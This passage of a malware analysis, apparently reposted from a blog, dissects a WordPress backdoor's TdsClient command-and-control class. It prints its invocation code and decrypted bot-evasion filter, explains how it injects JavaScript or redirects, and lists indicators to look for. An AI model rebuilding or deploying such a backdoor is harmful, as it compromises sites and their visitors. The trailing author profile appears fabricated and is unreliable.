'2a8e1321-21bc-1786-6319-2dfa38e2171a'; $config = 'I249ID4...'; $client = new TdsClient($config, $uid); if ($client->try_process_check_request()) { echo "<tds>".PHP_EOL; echo $uid; echo "</tds>".PHP_EOL; } else { if ($client->can_process_request()) { $client->process_request(); } }}

Holly Hypertext Preprocessor, Batman, — this is an entirey class for command & control!

Skipping the preliminaries, like checking the flag “file_get_contents ” once again in order to prohibit multiple execution, we encounter a class definition, another UID, yet another payload, and some code invoking the TdsClient class. — Let’s have a look at this class:

Private Properties

  • config
  • config_dict
  • uid

Properties “uid” and “config” are set by the constructor, the latter one also populating the “config_dict” after decryption and deserialization.

Private Methods (Utilities)

  • _get_config()
    Decrypts and parses the config-string to a deserialised PHP-object. Raw config-data is encoded as a base64-string, which is in turn encrypted by bitwise XOR using both the UID and a hard-coded key-string (here “bgyrtab5xch2czg”).
  • _http_query_curl($url, $content)
    Tries to access a URL via curl, if available (returns empty string else).
  • _http_query_native($url, $content)
    Tries to access a URL via file_get_contents (as a fallback).
  • _http_query($url, $query)
    Replaces any mark-up “[URL]” in the url-string by “” and fetches the response from this URL, either via _http_query_curl or via _http_query_native.
  • _get_request_ip()
    Resolves remote address. Searches for any IPs in “$_SERVER['REMOTE_ADDR']” (http-header field[s]). Returns the first IP, which validates as an IP address, or an empty string.
  • _query()
    Builds a basic query and returns the result from _http_query().
    The URL is built from config-data, fields
    • tds_ip
    • tds_port
    • tds_path
    The query is a URL-encoded string built using the native PHP function “http_build_query()” from the original remote request data:
    • i .... the IP (via _get_request_ip())
    • p .... host and uri
    • u .... user-agent string
    • a .... accept-language string
    • r .... HTTP-refer[r]er
    • ae ... accept-encoding
    • aa ... HTTP-accept string
    • ac ... accept-charset
    • c .... HTTP-connection mode
    • co ... serialized HTTP-cookie
    • cp ... route-property (either from config-data property route or from hard-coded default “yor8afx3”) and the “uid”, serialized as properties and uid, respectively.
  • _decrypt_phase($data, $key)
    Bitwise XOR block cypher.
  • _decrypt($data, $key)
    Decrypts the data by applying the XOR-cypher first using the provided key, then using the UID.
  • b64d($input)
    Regular base64-decoding, returns the decoded sytring..

Public Methods

  • process_request()
    Fetches remote content via method “_query()”. This is expected to return a serialized object containing the key ["options"]. If so,
    • a cookie is set according to the information in key ["cookie"].
    • if there is a property “["options"]["type"]” matching the string “inject”, the global variable “injectable_js_code” will be set to the base64-decoded data in property ["data"] and output-buffering will be deferred to the handler in method “TdsClient::postrender_handler”.
    • else, headers will be set according to property ["headers"] (probably mostly redirects) and, if there is content in property ["data"], the client will exit here using this as the return value. (Mind the comment “TODO: check if its file” — apparently, this is expected to be a number?)
    (This is the heavy lifting, revealing also the purpose: Client data is sent to the control-server, which returns either a redirect header or some JS-injection code based on this data.)
  • try_process_check_request()
    Life-check. Checks a request much like we've seen it for the public frontend, in Stage 3: The method returns the presence of a parmeter “sa” containing the string “check”, if there is parameter ak matching the UID, either in the cookie-string or in the POST-body. Parameters are encoded in base64 and a double XOR-cyphers using the UID and the parameter key.
  • postrender_handler($buffer)
    The handler for the output-buffering (compare method “process_request()”). The code stored in the global variable “injectable_js_code” will be injected just before the closing </head> or </body>-tag, whichever is found first. Then, the resulting document-body is returned (to the requesting remote client).

— Phew! —

Follows the UID and the encrypted config-string. Then, we meet the code invoking the TdsClient class. A new instance is created in variable $client and first checked for a heartbeat-request via method “try_process_check_request()”. If so, the script will return the UID embraced by a “tds”-tag. Otherwise, the client is invoked for “regular” processing, sending data regarding the remote client and remote IP to the control server, in order to obtain either a redirect header or code for a JS-injection.

So, what’s in the config-data?

Stage 6

Here, we’ve finally arrived at the bottom of this rabbit hole! And this is what the config data reads, when decrypted (line-wrap applied):

array( "route" => "a25utsaz", "tds_port" => "80", "tds_filter" => "if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE) { return FALSE; } if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google| msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider| facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT'])) { return FALSE; } foreach (array('/\.css/', '/\.swf/', '/\.ashx/', '/\.docx/', '/\.doc/', '/\.xls/', '/\.xlsx/', '/\.xml/', '/\.jpg/', '/\.pdf/', '/\.png/', '/\.gif/', '/\.ico/', '/\.js/', '/\.txt/', '/ajax/', '/cron\.php/', '/wp\-login\.php/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//', ) as $regex) { if (preg_match($regex, @$_SERVER['REQUEST_URI'])) { return FALSE; } } return TRUE;", "tds_path" => "/example.php", "tds_ip" => "");

Of note here are another IP-address and the code in “tds_filter”. The latter one blacklists some request conditions. In order to pass the check, a request must

  • provide a HTTP-accept-language and a HTPP-refer[r]er unequal to the HTTP-host specified in the request header,
  • provide a user-agent string not maching a set of known search engines,
  • must be a request for a web page (using an extension like “.php”).The exclude list contains a number of Wordpress-specific filenames and particles of filenames, as in:
    • "ajax"
    • "cron.php"
    • "wp-login.php"
    • "wp-includes"
    • "wp-admin"
    • "admin"
    • "wp-content"
    • "administrator"
    • "phpmyadmin"
    • "xmlrpc.php"
    • "feed"


So this is not about SEO, but about (targeted) advertising! (Maybe also about targeted drive-by infections?)

What to look for:

  • Any page requests (for any .php files) with an encrypted cookie-header and/or an encrypted post-body.
  • Outgoing connections to control servers by the TdsClient via curl or PHP’s “file_get_contents()”. (See below for IP addresses.) Every normal page request will cause a request to the control server, which will return either a JS-injection or a redirect header to be inserted into the page response generated by Wordpress.

It actually looks like as if the TdsClient found in the encrypted database may have come first, with the outer wrappings — while not without some elegance of its own — mimicking its scheme. But this is just speculation.

Regarding the provenance or origin of the hack, we may note the two IP addresses we found:

  •, resolving to the domain “mirohost.net
  •, resolving to the domain “clodoserver.ru

Both IPs are of Russian context, honoring the rich tradition of the Russian nesting doll, also known as Matryoshka or Babushka.

(Now Go Bang!) Anatomy of a Wordpress Backdoor (2)

Update: Apparently, similar code, using the TdsClient class as well, has surfaced previously. Compare “Analysis of a PHP Backdoor” by Paul Marrapese.

(Now Go Bang!) Anatomy of a Wordpress Backdoor (3)

Top Articles
Latest Posts
Article information

Author: Rob Wisoky

Last Updated: 02/18/2023

Views: 6352

Rating: 4.8 / 5 (48 voted)

Reviews: 87% of readers found this page helpful

Author information

Name: Rob Wisoky

Birthday: 1994-09-30

Address: 5789 Michel Vista, West Domenic, OR 80464-9452

Phone: +97313824072371

Job: Education Orchestrator

Hobby: Lockpicking, Crocheting, Baton twirling, Video gaming, Jogging, Whittling, Model building

Introduction: My name is Rob Wisoky, I am a smiling, helpful, encouraging, zealous, energetic, faithful, fantastic person who loves writing and wants to share my knowledge and understanding with you.